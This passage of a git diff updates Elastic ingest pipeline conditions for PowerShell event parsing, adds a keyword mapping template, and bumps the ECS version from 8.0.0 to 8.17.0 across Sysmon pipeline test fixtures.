ctx.source?.user != null - rename: field: user.name target_field: destination.user.name ignore_failure: true ignore_missing: true - if: ctx?.source?.user != null + if: ctx.source?.user != null - set: field: user.domain copy_from: source.user.domain ignore_failure: true ignore_empty_value: true - if: ctx?.source?.user != null + if: ctx.source?.user != null - set: field: user.name copy_from: source.user.name ignore_failure: true ignore_empty_value: true - if: ctx?.source?.user != null + if: ctx.source?.user != null # Get user details from the translate_sid processor enrichment # if they are available and we don't already have them. - rename: @@ -223,73 +223,73 @@ processors: target_field: powershell.id ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ShellID != "" + if: ctx.winlog?.event_data?.ShellID != "" - rename: field: winlog.event_data.EngineVersion target_field: powershell.engine.version ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.EngineVersion != "" + if: ctx.winlog?.event_data?.EngineVersion != "" - rename: field: winlog.event_data.PipelineID target_field: powershell.pipeline_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.PipelineID != "" + if: ctx.winlog?.event_data?.PipelineID != "" - rename: field: winlog.event_data.RunspaceID target_field: powershell.runspace_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.RunspaceID != "" + if: ctx.winlog?.event_data?.RunspaceID != "" - rename: field: winlog.event_data.RunspaceId target_field: powershell.runspace_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.RunspaceId != "" + if: ctx.winlog?.event_data?.RunspaceId != "" - rename: field: winlog.event_data.HostVersion target_field: powershell.process.executable_version ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.HostVersion != "" + if: ctx.winlog?.event_data?.HostVersion != "" - rename: field: winlog.event_data.CommandLine target_field: powershell.command.value ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandLine != "" + if: ctx.winlog?.event_data?.CommandLine != "" - rename: field: winlog.event_data.CommandPath target_field: powershell.command.path ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandPath != "" + if: ctx.winlog?.event_data?.CommandPath != "" - rename: field: winlog.event_data.CommandName target_field: powershell.command.name ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandName != "" + if: ctx.winlog?.event_data?.CommandName != "" - rename: field: winlog.event_data.CommandType target_field: powershell.command.type ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandType != "" + if: ctx.winlog?.event_data?.CommandType != "" - rename: field: winlog.event_data.ScriptBlockId target_field: powershell.file.script_block_id ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ScriptBlockId != "" + if: ctx.winlog?.event_data?.ScriptBlockId != "" - rename: field: winlog.event_data.ScriptBlockText target_field: powershell.file.script_block_text ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ScriptBlockText != "" + if: ctx.winlog?.event_data?.ScriptBlockText != "" - trim: field: powershell.file.script_block_text ignore_missing: true @@ -381,7 +381,7 @@ processors: ]; } - if (ctx?._temp == null) { + if (ctx._temp == null) { ctx._temp = new HashMap(); } @@ -389,7 +389,7 @@ processors: ctx._temp.details = new ArrayList(); } - def values = ctx?.winlog?.event_data[params["field"]]; + def values = ctx.winlog?.event_data[params["field"]]; if (values != null && values.length > 0) { for (v in values) { ctx._temp.details.add(parseRawDetail(v)); @@ -398,12 +398,12 @@ processors: - rename: field: _temp.details target_field: powershell.command.invocation_details - if: ctx?._temp?.details != null && ctx?._temp?.details.length > 0 + if: ctx._temp?.details != null && ctx._temp?.details.length > 0 - script: description: Implements Windows-like SplitCommandLine lang: painless - if: ctx?.process?.command_line != null && ctx.process.command_line != "" + if: ctx.process?.command_line != null && ctx.process.command_line != "" source: |- // appendBSBytes appends n '\\' bytes to b and returns the resulting slice. def appendBSBytes(StringBuilder b, int n) { @@ -484,16 +484,16 @@ processors: target_field: winlog.event_data.ScriptName ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.Path != "" + if: ctx.winlog?.event_data?.Path != "" - script: description: Adds file information. lang: painless - if: ctx?.winlog?.event_data?.ScriptName != null && ctx.winlog.event_data.ScriptName.length() > 1 + if: ctx.winlog?.event_data?.ScriptName != null && ctx.winlog.event_data.ScriptName.length() > 1 source: |- def path = ctx.winlog.event_data.ScriptName; def idx = path.lastIndexOf("\\"); if (idx > -1) { - if (ctx?.file == null) { + if (ctx.file == null) { ctx.file = new HashMap(); } ctx.file.name = path.substring(idx+1); @@ -509,7 +509,7 @@ processors: target_field: file.path ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ScriptName != "" + if: ctx.winlog?.event_data?.ScriptName != "" - convert: field: error.code @@ -536,14 +536,14 @@ processors: - script: description: Remove all empty values from event_data. lang: painless - source: ctx?.winlog?.event_data?.entrySet().removeIf(entry -> entry.getValue() == null || entry.getValue().equals("")); - if: ctx?.winlog?.event_data != null + source: ctx.winlog?.event_data?.entrySet().removeIf(entry -> entry.getValue() == null || entry.getValue().equals("")); + if: ctx.winlog?.event_data != null - remove: description: Remove empty event data. field: winlog.event_data ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data != null && ctx.winlog.event_data.size() == 0 + if: ctx.winlog?.event_data != null && ctx.winlog.event_data.size() == 0 on_failure: - set: diff --git a/packages/windows/data_stream/powershell_operational/manifest.yml b/packages/windows/data_stream/powershell_operational/manifest.yml index 21b4bc93f6c..b07f0e33f92 100644 --- a/packages/windows/data_stream/powershell_operational/manifest.yml +++ b/packages/windows/data_stream/powershell_operational/manifest.yml @@ -8,6 +8,13 @@ elasticsearch: powershell_script_analyzer: type: pattern pattern: '[\W&&[^-]]+' + mappings: + dynamic_templates: + - override_ignore_above: + match_mapping_type: string + mapping: + type: keyword + ignore_above: 2048 streams: - input: winlog template_path: winlog.yml.hbs diff --git a/packages/windows/data_stream/sysmon_operational/_dev/test/pipeline/test-events.json-expected.json b/packages/windows/data_stream/sysmon_operational/_dev/test/pipeline/test-events.json-expected.json index a91d7d816bd..4f7d83801e7 100644 --- a/packages/windows/data_stream/sysmon_operational/_dev/test/pipeline/test-events.json-expected.json +++ b/packages/windows/data_stream/sysmon_operational/_dev/test/pipeline/test-events.json-expected.json @@ -28,7 +28,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -124,7 +124,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -195,7 +195,7 @@ { "@timestamp": "2020-05-07T08:14:44.489Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "FileDelete (File Delete archived)", @@ -301,7 +301,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -401,7 +401,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -472,7 +472,7 @@ { "@timestamp": "2020-05-05T14:57:40.589Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -517,7 +517,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "DWORD (0x00000004)", "EventType": "SetValue" }, "event_id": "13", @@ -540,7 +539,7 @@ { "@timestamp": "2020-05-07T07:27:18.722Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "FileDelete (File Delete archived)", @@ -641,7 +640,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -744,7 +743,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -834,7 +833,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -934,7 +933,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1022,7 +1021,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1124,7 +1123,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1262,7 +1261,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1361,7 +1360,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1456,7 +1455,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1557,7 +1556,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1645,7 +1644,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1745,7 +1744,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -1815,7 +1814,7 @@ { "@timestamp": "2020-05-05T14:57:44.714Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -1860,7 +1859,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "Binary Data", "EventType": "SetValue" }, "event_id": "13", @@ -1908,7 +1906,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -2004,7 +2002,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -2075,7 +2073,7 @@ { "@timestamp": "2020-05-05T14:57:44.714Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -2120,7 +2118,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "QWORD (0x00000000-0x00000005)", "EventType": "SetValue" }, "event_id": "13", @@ -2143,7 +2140,7 @@ { "@timestamp": "2020-05-05T14:57:46.808Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -2188,7 +2185,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "Binary Data", "EventType": "SetValue" }, "event_id": "13", @@ -2263,7 +2259,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -2364,7 +2360,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -2510,7 +2506,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -2649,7 +2645,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -2798,7 +2794,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -2913,7 +2909,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3063,7 +3059,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3218,7 +3214,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3313,7 +3309,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3449,7 +3445,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3547,7 +3543,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3684,7 +3680,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3777,7 +3773,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3868,7 +3864,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -3998,7 +3994,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4118,7 +4114,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4193,7 +4189,7 @@ { "@timestamp": "2019-03-18T16:57:37.933Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "ServiceConfigurationChange", @@ -4262,7 +4258,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4388,7 +4384,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4529,7 +4525,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4674,7 +4670,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4775,7 +4771,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -4916,7 +4912,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -5061,7 +5057,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -5140,7 +5136,7 @@ { "@timestamp": "2019-03-18T16:57:38.011Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Sysmon service state changed", @@ -5211,7 +5207,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -5298,7 +5294,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -5367,7 +5363,7 @@ { "@timestamp": "2019-03-18T16:57:37.949Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process creation", @@ -5505,7 +5501,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -5638,7 +5634,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -5716,7 +5712,7 @@ { "@timestamp": "2019-03-18T16:57:37.964Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process creation", @@ -5884,7 +5880,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -5992,7 +5988,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6136,7 +6132,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6243,7 +6239,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6364,7 +6360,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6465,7 +6461,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6557,7 +6553,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6635,7 +6631,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6709,7 +6705,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -6775,7 +6771,7 @@ { "@timestamp": "2019-03-18T16:57:38.981Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process terminated", @@ -6892,7 +6888,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -7001,7 +6997,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -7093,7 +7089,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -7163,7 +7159,7 @@ { "@timestamp": "2019-03-18T16:57:38.981Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process terminated", @@ -7280,7 +7276,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -7359,7 +7355,7 @@ { "@timestamp": "2019-03-18T16:57:39.012Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process creation", @@ -7463,7 +7459,7 @@ "port": 53 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -7541,7 +7537,7 @@ "port": 53 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -7621,7 +7617,7 @@ "port": 443 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -7701,7 +7697,7 @@ "port": 443 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -7807,7 +7803,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -7944,7 +7940,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -8027,7 +8023,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8123,7 +8119,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -8205,7 +8201,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8315,7 +8311,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -8389,7 +8385,7 @@ "port": 5355 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8469,7 +8465,7 @@ "port": 5355 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8547,7 +8543,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8624,7 +8620,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8701,7 +8697,7 @@ "port": 5355 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8780,7 +8776,7 @@ "port": 5355 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8858,7 +8854,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -8940,7 +8936,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -9022,7 +9018,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -9133,7 +9129,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -9225,7 +9221,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -9360,7 +9356,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -9510,7 +9506,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -9660,7 +9656,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -9805,7 +9801,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -9914,7 +9910,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -10021,7 +10017,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -10112,7 +10108,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -10248,7 +10244,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -10400,7 +10396,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -10542,7 +10538,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -10618,7 +10614,7 @@ "port": 137 }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Network connection", @@ -10693,7 +10689,7 @@ { "@timestamp": "2019-03-18T16:57:52.350Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process terminated", @@ -10744,7 +10740,7 @@ { "@timestamp": "2019-03-18T16:57:52.364Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process terminated", @@ -10795,7 +10791,7 @@ { "@timestamp": "2019-03-18T16:57:52.387Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "A process changed a file creation time", @@ -10856,7 +10852,7 @@ { "@timestamp": "2019-03-18T16:57:52.417Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "A process changed a file creation time", @@ -10917,7 +10913,7 @@ { "@timestamp": "2019-03-18T16:57:52.417Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "A process changed a file creation time", @@ -10978,7 +10974,7 @@ { "@timestamp": "2019-03-18T16:57:52.417Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "A process changed a file creation time", @@ -11046,7 +11042,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process terminated", @@ -11097,7 +11093,7 @@ { "@timestamp": "2019-03-18T16:57:52.433Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "A process changed a file creation time", @@ -11183,7 +11179,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -11325,7 +11321,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -11427,7 +11423,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -11569,7 +11565,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -11708,7 +11704,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -11831,7 +11827,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -11975,7 +11971,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12101,7 +12097,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12188,7 +12184,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12323,7 +12319,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12438,7 +12434,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12524,7 +12520,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12659,7 +12655,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12805,7 +12801,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -12930,7 +12926,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13066,7 +13062,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13193,7 +13189,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13322,7 +13318,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13474,7 +13470,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13615,7 +13611,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13754,7 +13750,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -13898,7 +13894,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14043,7 +14039,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14147,7 +14143,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14289,7 +14285,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14386,7 +14382,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14493,7 +14489,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14589,7 +14585,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14685,7 +14681,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14780,7 +14776,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14877,7 +14873,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -14968,7 +14964,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15068,7 +15064,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15164,7 +15160,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15271,7 +15267,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15368,7 +15364,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15464,7 +15460,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15560,7 +15556,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15703,7 +15699,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15819,7 +15815,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -15924,7 +15920,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16060,7 +16056,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16156,7 +16152,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" 